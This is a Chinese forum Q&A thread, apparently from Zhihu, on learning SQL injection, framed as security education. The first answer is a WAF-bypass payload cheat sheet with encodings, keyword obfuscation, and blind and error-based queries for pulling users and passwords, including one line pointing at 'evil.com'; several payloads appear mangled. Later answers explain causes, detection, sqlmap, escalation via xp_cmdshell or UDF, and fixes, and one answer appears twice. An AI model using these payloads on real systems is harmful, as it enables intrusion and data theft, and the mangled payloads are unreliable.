sql注入到底要学什么?
之前在网上看过一些课程,关于sql注入,都是在URL后面加上and 1=1或在sqlmap里用-u检测,而看到别的大佬玩sqlmap的时候却不止这种方法,请问sql注入只有这两种检查方法吗?
手工注入的话,多看笔记,多找案例!
SQL注入速查表这是基础首先需要了解的
过滤and or
or ——&> ||
and ——&>
xor——&>|
not——&>!
十六进位绕过
or ——&> ox72
大小写绕过
Or
aNd
双写绕过
oorr
anandd
urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
关键字内联注释尝试绕所有
/*!or*/
/*!and*/
左括弧过滤
urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括弧过滤
urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
过滤unionselect
逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 (select user from users where userid=1)=admin
十六进位字元绕过
select ——&> selecx74
union——&>uniox6e
大小写绕过
SelEct
双写绕过
selselectect
uniunionon
urlencode,ascii(char),hex,unicode编码绕过
关键字内联绕所有
/*!union*/
/*!select*/
过滤空格
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;
空白字元绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
过滤=
?id=1 or 1 like 1#可以绕过对 = &> 等过滤
or 1 IN (1234)#可以替代=
过滤比较符&
select*fromuserswhereid=1and ascii(substr(database(),0,1))&>64
select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
过滤where
逻辑绕过
过滤代码 1 (select user from users where user_id = 1) = admin
绕过方式 1 (select user from users limit 1) = admin
过滤limit
逻辑绕过
过滤代码 1 (select user from users limit 1) = admin
绕过方式 1 (select user from users group by user_id having user_id = 1) = admin#user_id聚合中user_id为1的user为admin
过滤group by
逻辑绕过
过滤代码 1 (select user from users group by user_id having user_id = 1) = admin
绕过方式 1 (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤select
逻辑绕过
过滤代码 1 (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 substr(user,1,1) = a
过滤』(单引号)
逻辑绕过
waf = and|or|union|where|limit|group by|select|
过滤代码 1 substr(user,1,1) = a
绕过方式 1 user_id is not null1 substr(user,1,1) = 0x611 substr(user,1,1) = unhex(61)
宽位元组绕过
%bf%27 %df%27 %aa%27
过滤逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);
对于limit可以使用offset来绕过:
select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0
过滤hex
逻辑绕过
过滤代码 1 substr(user,1,1) = unhex(61)
绕过方式 1 substr(user,1,1) = lower(conv(11,10,16)) #十进位的11转化为十六进位,并小写。
过滤substr
逻辑绕过
过滤代码 1 substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 lpad(user(),1,1) in r
编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进位编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
等价函数或变数
hex()、bin() ==&> ascii()
sleep() ==&>benchmark()
concat_ws()==&>group_concat()
mid()、substr() ==&> substring()
@@user ==&> user()
@@datadir ==&> datadir()
举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
或者:
substr((select password),1,1) = 0x70
strcmp(left(password,1), 0x69) = 1
strcmp(left(password,1), 0x70) = 0
strcmp(left(password,1), 0x71) = -1
生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(『& 』,』/script/@x/』,』src=//evil.com』);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,alx65rt(1)as 117nx65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
N绕过
N相当于NULL字元
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=Nunion select 1,2,3,4,5,6,7,8,9,0
PCRE绕过
PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select
上面的还不行?尝试修改语句逻辑再绕过试试?
发布于 2020-12-18继续浏览内容知乎发现更大的世界打开Chrome继续杨瑞i春秋讲师,独立音乐人,Web安全看这个问题应该是个新手,现在的环境不比以前,现在的容易找到sql注入漏洞很少了。
所以,我觉得现在学sql注入,只能往大了看,学思想,学黑客思维。
其实注入类漏洞大多数都是是个数据代码分离的问题。
我举个形象的例子吧。
----------------------------------------------------------------
例子的演员:
A 输入值
B 业务程序
C 资料库
关于演员:
A 是一个可以任何用户可控输入值,无论用户输入什么都会被原样传输到后端伺服器。
B 是这个例子中存在漏洞的程序。
C 是一个能接收SQL指令处理数据的资料库。
我们理清楚这个之后就来走一遍正常流程(即按照程序猿的设想):
1.用户通过点击前端浏览器上的一个链接,对伺服器发起了一个GET请求,带著一个前端程序员写好的值A。
2.经过长长的网线,A被带到了B进行处理,B直接将A与查询数据的SQL语句拼接在了一起。
(例如,A值为1,SQL语句是「查询id为A的产品资料」,所以这时候的SQL语句是「查询id为1的产品资料」)
3.B把这个SQL语句拿给了C,让C去执行。C尽忠职守,很快变查询出了结果,然后吧结果给了B,B在将结果传回了前端用户浏览器。
接下来,我们就来看一遍攻击流程:
1.某技术人员,发现了完全可控的值A,尝试对其进行测试,于是将A值改为「1的id。」。
(我们假设C执行SQL语句是遇到句号即停止往后执行)
2.然后B接收到了A,把它和SQL语句拼在一起,于是变成了「查询id为1的id。的产品资料」。
3.然后B将这个被动了手脚的SQL语句交给了C,然而C依旧尽忠职守执行了这个SQL语句,于是。它返回了1,B再把这个1返回了用户的浏览器,于是某技术人员就知道这里存在SQL注入漏洞了。
OK,剩下的该你自己思考了。
看这个问题应该是个新手,现在的环境不比以前,现在的容易找到sql注入漏洞很少了。
所以,我觉得现在学sql注入,只能往大了看,学思想,学黑客思维。
其实注入类漏洞大多数都是是个数据代码分离的问题。
我举个形象的例子吧。
----------------------------------------------------------------
例子的演员:
A 输入值
B 业务程序
C 资料库
关于演员:
A 是一个可以任何用户可控输入值,无论用户输入什么都会被原样传输到后端伺服器。
B 是这个例子中存在漏洞的程序。
C 是一个能接收SQL指令处理数据的资料库。
我们理清楚这个之后就来走一遍正常流程(即按照程序猿的设想):
1.用户通过点击前端浏览器上的一个链接,对伺服器发起了一个GET请求,带著一个前端程序员写好的值A。
2.经过长长的网线,A被带到了B进行处理,B直接将A与查询数据的SQL语句拼接在了一起。
(例如,A值为1,SQL语句是「查询id为A的产品资料」,所以这时候的SQL语句是「查询id为1的产品资料」)
3.B把这个SQL语句拿给了C,让C去执行。C尽忠职守,很快变查询出了结果,然后吧结果给了B,B在将结果传回了前端用户浏览器。
接下来,我们就来看一遍攻击流程:
1.某技术人员,发现了完全可控的值A,尝试对其进行测试,于是将A值改为「1的id。」。
(我们假设C执行SQL语句是遇到句号即停止往后执行)
2.然后B接收到了A,把它和SQL语句拼在一起,于是变成了「查询id为1的id。的产品资料」。
3.然后B将这个被动了手脚的SQL语句交给了C,然而C依旧尽忠职守执行了这个SQL语句,于是。它返回了1,B再把这个1返回了用户的浏览器,于是某技术人员就知道这里存在SQL注入漏洞了。
OK,剩下的该你自己思考了。
首先理解原理,资料库sql语句把不可信的用户输入数据直接拼接导致的。
那肯定得会资料库,会脚本语言。
技术的话,你看sqlmap technique参数,布尔盲注,时间盲注,报错注入,堆叠查询,响应盲注。BTUES这些
我一直觉得学一个漏洞,要明白几个东西:
成因 or 原理
这个漏洞的的成因是什么,什么情况才会出现?不懂原理,就永远只会拿著那几个 payload 去试,一旦环境稍稍有点变动,可能你就不会了
就比如 SQL 注入,就是将未过滤或者过滤不完全的输入拼接到 SQL 语句中,但是 拼接的地方是在哪里?where语句中、order by语句中、limit语句中?不同的点上利用的方式也是不一样的,在 PHP java 环境下有什么不同,什么情况下支持堆叠查询,各种问题只有明白了原理才能够去回答
如何发现
正如题主所说的,除了加入 and 1=1 还有其他检测的办法吗,很明显 在有 WAF 的情况下,时间盲注的情况下,怎么高效的进行漏洞的发现,也是一个问题
绕过
针对各种情况的 WAF 或者代码中的一些敏感词的检测,怎么去绕过它?比如 and 1=1 用不了可以用什么来代替,比如 or 行不行,利用一些逻辑运算符 与或非 等行不行,等等等等
利用
发现了一个漏洞之后,怎么去深入的利用,尽可能的利用这个漏洞,造成更大的影响,如 Mysql 的 UDF、MOF 提权,SQL Server 的 xp_cmdshell 等的这些
(当然这个也要注意情景,在日常挖洞的情况下,更多的是证明漏洞的存在,并不提倡你去进一步利用,毕竟可能会对业务造成一定的影响,但是个人认为在学习的过程中还是要会的)
如何修复
挖洞的目的是为了修复,知道了怎么挖,想想如果业务方要你提供修复建议,你要怎么给出
还有这里你提到了 sqlmap,就说说 sqlmap
sqlmap 常见的几个参数是什么,怎么检测 POST 参数、怎么带 Cookie,不同 level、risk 间有什么区别,怎么制定注入方法资料库类型,各种特殊注入情况下的前缀后缀的要求,tamper 怎么写,然后就是各种疑难杂症,比如注入点明明存在 sqlmap 跑不出来什么回事,也还是有很多问题的
但网上搜不到了你就会想去看 sqlmap 的源码,那就又是一个新的世界了,加油吧少年hhh
推荐阅读: